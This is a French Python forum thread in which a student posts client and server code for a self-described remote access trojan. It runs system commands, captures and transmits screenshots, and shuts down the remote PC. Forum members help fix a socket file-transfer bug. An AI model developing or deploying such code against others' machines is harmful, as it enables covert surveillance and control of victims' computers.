IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Réseau/Web Python Discussion :

[Aide][Erreur] Interruption de mon app reseau


Sujet :

Réseau/Web Python

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre averti
    Homme Profil pro
    Lycéen
    Inscrit en
    Mars 2017
    Messages
    53
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Val d'Oise (Île de France)

    Informations professionnelles :
    Activité : Lycéen

    Informations forums :
    Inscription : Mars 2017
    Messages : 53
    Par défaut [Aide][Erreur] Interruption de mon app reseau
    Bonjour à tous, je me suis lancé dans la création d'un R.A.T en python depuis très peu de temps, bien sûr à but totalement éducatif et meme pour avoir un accès à distance à mon ordinateur.

    Dans mon programme j'ai créer de nombreuses commandes, dont une qui me permet de prendre une capture d'écran de l'ordinateur distant. Je teste le programme toutes les fonctions intégrées fonctionnent bien, mais après la prise de screenshot, si j'essaie d'utiliser une autre commande, cela me retourne une erreur. La voici :
    Nom : errreur ratr.PNG
Affichages : 152
Taille : 21,2 Ko

    Je ne comprend pas du tout le problème, c'est pour cela que je vous fourni le code source :

    Le client :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    import socket
    import os
    import sys
    import subprocess
    from PIL import ImageGrab
    from datetime import datetime as dt
    from urllib.request import urlopen
     
    def sendconfirm():
        server_co.send(b'Command Executed / ' + location.encode())
     
    hote = '127.0.0.1'
    port = 25565
     
    # location = os.path.realpath(sys.argv[0]);
    location = os.getcwd()
    location = location.replace("\\client.py","")
    location = location.replace("\\client.exe","")
     
    server_co = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        server_co.connect((hote, port))
    except:
        print("Serveur indisponible")
        exit()
     
    print("Connexion établie avec le serveur sur le port {}".format(port))
     
    msg_recu = b""
    while msg_recu != b"stop":
        msg_recu = server_co.recv(1024)
        # L'instruction ci-dessous peut lever une exception si le message
        # Réceptionné comporte des accents
        if msg_recu != b"stop":
     
            if msg_recu == b"ipconfig":
                p = subprocess.Popen('ipconfig /all', stdout=subprocess.PIPE, shell=True)
                out, error = p.communicate()
                server_co.send(out + b'\n')
            elif msg_recu == b'dir':
                p = subprocess.Popen('dir "'+ location + '"', stdout=subprocess.PIPE, shell=True)
                out, error = p.communicate()
                server_co.send(out + b'\n')
            elif msg_recu == b'externIP':
                addr = urlopen('http://ip.42.pl/raw').read()
                server_co.send(b"Addresse IP: " + addr + b'\n')
            elif msg_recu == b'screenshot':
                d1 = dt.now().strftime("%Y-%m-%d %H%M%S")
                screenshot = ImageGrab.grab()
                screenshot.save(str(str(d1) + ".png"), 'png')
                #server_co.send(b'Screenshot taken. Location: ' + location.encode() + b'\n')
     
                file = str(str(d1)+".png")+ " (" + str(os.path.getsize(d1+".png"))
                server_co.send(file.encode())
                with open(str(str(d1) + ".png"), 'rb') as f:
                        bytesToSend  = f.read(1024)
                        server_co.send(bytesToSend)
                        while bytesToSend != "":
                            bytesToSend = f.read(1024)
                            server_co.send(bytesToSend)
     
            else:
                msg_recu = msg_recu.decode()
     
                if msg_recu == "shutdown":
                    os.system("shutdown /s /t 0")
                    server_co.send(b'System will be stopped \n')
     
                if msg_recu == "restart":
                    os.system("shutdown /r /t 0")
                    server_co.send(b'System will be restarted \n')
     
                msg_recu = msg_recu.split(" ")
                if msg_recu[0] == "close" and msg_recu[1] == "session":
                    os.system("shutdown /l")
                    server_co.send(b'Session will be locked \n')
     
                if msg_recu[0] == "mkdir":
                    os.system("mkdir \"" + os.getcwd() + "\\" + msg_recu[1] + "\"")
                    server_co.send(b'Folder created \n')
                if len(msg_recu) > 1:
                    if msg_recu[0] == "cd":
                        if msg_recu[1] != "..":
                            path = location+ '\\' + msg_recu[1]
                            if os.path.isdir(path):
                                location+='\\' + msg_recu[1]
                                os.chdir(location)
                                print(location)
                        elif msg_recu[1] != "":               
                            location = location.split("\\")
                            location.remove(location[len(location) - 1])
                            location = "\\".join(location)
                            os.chdir(location)
                        else:
                            pass
                else:
                    pass      
                sendconfirm()
     
    print("Fermeture de la connexion")
    server_co.close()
    os.system("pause")
    Le serveur:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
     
    import socket
    import os
    from PIL import ImageGrab
    from datetime import datetime
     
    def screenshot(msg_recu):
        #msg_recu = client_co.recv(4096)
        #msg_recu = msg_recu.decode(encoding="utf-8", errors="ignore")
        print("Fichier : " + msg_recu + " Bytes)")
     
        ms = msg_recu.split('(')
        fileSize = ms[1]
     
        sshot = open("new_"+ms[0], "wb")
        data = client_co.recv(1024)
        totalRecv =len(data)
        sshot.write(data)
        print ("Download complete!")
        sshot.close()
     
    def receive(i):
        msg_recu = client_co.recv(4096)
        msg_recu = msg_recu.decode(encoding="utf-8", errors="ignore")
     
        if msg_recu.find("(",0,35) == -1:
            msg_recu = msg_recu.split(' / ')
            print(msg_recu[0])
        else:
            screenshot(msg_recu)  
     
        if i == 0:
            loc = msg_recu[1]
            return loc
     
    hote =''
    port= 25565
    main_co = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    main_co.bind((hote, port))
    main_co.listen(5)
     
    client_co, info =* main_co.accept()
     
    msg= b""
    location = ''
    i=0
    while msg != b"stop":
        msg = input(str(info[0]) + "@"+ location +" > ")
        # Peut planter si vous tapez des caractères spéciaux
     
        send_msg = msg.split(" ")
        if len(send_msg) > 1:
            if send_msg[0] == "cd":
                    if send_msg[1] != "..":
                        path = location+ '\\' + send_msg[1]
                        if os.path.isdir(path):
                            location+='\\' + send_msg[1]
                        else:
                            print("Répertoire inexistant")
                    elif send_msg[1] != "":
                        location = location.split("\\")
                        location.remove(location[len(location) - 1])
                        location = "\\".join(location)
                    else:
                        print("Veuillez rentrer un nom de dossier\n")
        else:
            pass
        msg = msg.encode()
        # On envoie le message
        client_co.send(msg)
     
        #if send_msg[0] == "screenshot":
        #** screenshot()
        #
        if i == 0:
            location = receive(i)
        else:
            receive(i)
        i+=1
     
    print("Fermeture de la connexion")
    os.system("pause")
    client_co.close()
    main_co.close()

    Merci pour vos futures réponses que j'attends impatiemment.

  2. #2
    Expert éminent
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 790
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 790
    Par défaut
    Salut,

    Citation Envoyé par wildshadow956 Voir le message
    Je ne comprend pas du tout le problème, c'est pour cela que je vous fourni le code source
    Le problème est qu'après être passé dans "screenshot", le serveur fait comme s'il allait recevoir une commande alors qu'il reçoit la suite du fichier transmis (i.e. screenshot se termine sans assurer que le nombre de bytes transmis a bien été reçu - et écrit dans le fichier - ).
    Relisez votre code:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    def screenshot(msg_recu):
        #msg_recu = client_co.recv(4096)
        #msg_recu = msg_recu.decode(encoding="utf-8", errors="ignore")
        print("Fichier : " + msg_recu + " Bytes)")
     
        ms = msg_recu.split('(')
        fileSize = ms[1]
     
        sshot = open("new_"+ms[0], "wb")
        data = client_co.recv(1024)
        totalRecv =len(data)
        sshot.write(data)
        print ("Download complete!")
        sshot.close()
    vous récupérez un fileSize sans en tenir pas compte.... çà ne peut pas marcher.


    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels

  3. #3
    Membre averti
    Homme Profil pro
    Lycéen
    Inscrit en
    Mars 2017
    Messages
    53
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Val d'Oise (Île de France)

    Informations professionnelles :
    Activité : Lycéen

    Informations forums :
    Inscription : Mars 2017
    Messages : 53
    Par défaut
    Citation Envoyé par wiztricks Voir le message
    Salut,



    Le problème est qu'après être passé dans "screenshot", le serveur fait comme s'il allait recevoir une commande alors qu'il reçoit la suite du fichier transmis (i.e. screenshot se termine sans assurer que le nombre de bytes transmis a bien été reçu - et écrit dans le fichier - ).
    Relisez votre code:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    def screenshot(msg_recu):
        #msg_recu = client_co.recv(4096)
        #msg_recu = msg_recu.decode(encoding="utf-8", errors="ignore")
        print("Fichier : " + msg_recu + " Bytes)")
     
        ms = msg_recu.split('(')
        fileSize = ms[1]
     
        sshot = open("new_"+ms[0], "wb")
        data = client_co.recv(1024)
        totalRecv =len(data)
        sshot.write(data)
        print ("Download complete!")
        sshot.close()
    vous récupérez un fileSize sans en tenir pas compte.... çà ne peut pas marcher.


    - W
    Dsl de te déranger mais n'ayant pas compris est-ce que tu pourrais me donner une correction s'il te plaît?

  4. #4
    Expert éminent
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 790
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 790
    Par défaut
    Citation Envoyé par wildshadow956 Voir le message
    Dsl de te déranger mais n'ayant pas compris est-ce que tu pourrais me donner une correction s'il te plaît?
    Qu'est ce que vous n'avez pas compris?
    Pourquoi avez vous créé des variables totalRecv et fileSize dans votre code?
    Essayez de construire une boucle qui compte les bytes reçus et les compare aux bytes attendus...
    note: vous pouvez aussi essayer d'adapter l'exemple qui est donné dans ce tutoriel Python supposé avoir été lu avant de commencer à coder.

    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels

  5. #5
    Expert confirmé

    Homme Profil pro
    Inscrit en
    Octobre 2008
    Messages
    4 309
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Belgique

    Informations forums :
    Inscription : Octobre 2008
    Messages : 4 309
    Par défaut
    Salut,

    Ça n'a peut-être pas de rapport avec la question mais c'est quoi çà:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
     
    client_co, info =* main_co.accept()
    ?
    Je parle de l'astérisque, bien sur.

  6. #6
    Membre averti
    Homme Profil pro
    Lycéen
    Inscrit en
    Mars 2017
    Messages
    53
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Val d'Oise (Île de France)

    Informations professionnelles :
    Activité : Lycéen

    Informations forums :
    Inscription : Mars 2017
    Messages : 53
    Par défaut
    Citation Envoyé par VinsS Voir le message
    Salut,

    Ça n'a peut-être pas de rapport avec la question mais c'est quoi çà:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
     
    client_co, info =* main_co.accept()
    ?
    Je parle de l'astérisque, bien sur.
    Ajoutée pendant la copie du code sans faire exprès

  7. #7
    Membre averti
    Homme Profil pro
    Lycéen
    Inscrit en
    Mars 2017
    Messages
    53
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Val d'Oise (Île de France)

    Informations professionnelles :
    Activité : Lycéen

    Informations forums :
    Inscription : Mars 2017
    Messages : 53
    Par défaut
    Citation Envoyé par wiztricks Voir le message
    Qu'est ce que vous n'avez pas compris?
    Pourquoi avez vous créé des variables totalRecv et fileSize dans votre code?
    Essayez de construire une boucle qui compte les bytes reçus et les compare aux bytes attendus...
    note: vous pouvez aussi essayer d'adapter l'exemple qui est donné dans ce tutoriel Python supposé avoir été lu avant de commencer à coder.

    - W
    Bonjour à toi wiztricks, j'ai compris ce que tu voulais dire et j'ai donc modifié mon par ceci

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    def screenshot(msg_recu):
    	#msg_recu = client_co.recv(4096)
    	#msg_recu = msg_recu.decode(encoding="utf-8", errors="ignore")
    	print("Fichier : " + msg_recu + " Bytes)")
     
    	ms = msg_recu.split('(')
    	fileSize = ms[1]
     
    	sshot = open("new_"+ms[0], "wb")
    	data = client_co.recv(1024)
    	totalRecv =len(data)
    	sshot.write(data)
    	while totalRecv < int(fileSize):
    		data = client_co.recv(1024)
    		totalRecv+= len(data)
    		sshot.write(data)
    	print ("Download complete!")
    	sshot.close()
    je n'ai plus d'erreurs mais mon programme ne réponds plus.

    Un aperçu:
    Nom : after.PNG
Affichages : 128
Taille : 16,8 Ko

  8. #8
    Expert éminent
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 790
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 790
    Par défaut
    Citation Envoyé par wildshadow956 Voir le message
    je n'ai plus d'erreurs mais mon programme ne réponds plus.
    Ah ben "download complete" indique que le serveur a reçu le fichier et il expédie "test".
    Si le client ne le reçoit pas, c'est qu'il n'écoute pas ou plutôt qu'il continue à expédier le fichier.
    Donc à la ligne 61, vous ajoutez un "print (len(bytesToSend))".
    Le résultat devrait vous questionner sur la condition de sortie du while.

    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Probleme de connexion de mon imprimante reseau
    Par Le Pharaon dans le forum Windows XP
    Réponses: 10
    Dernier message: 21/07/2008, 13h15
  2. [VBA] Aide Erreur execution !!
    Par Virgile59 dans le forum VBA Access
    Réponses: 2
    Dernier message: 10/02/2006, 13h01
  3. [AJAX] Finalisation de mon site
    Par belvina dans le forum Général JavaScript
    Réponses: 3
    Dernier message: 25/01/2006, 02h54
  4. Besoin d'aide encore pour debugger mon programme
    Par jfjava2002 dans le forum C
    Réponses: 9
    Dernier message: 27/12/2005, 13h13
  5. [C#]Erreur pour remplir mon dataset
    Par liliprog dans le forum Windows Forms
    Réponses: 16
    Dernier message: 15/07/2005, 20h03

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo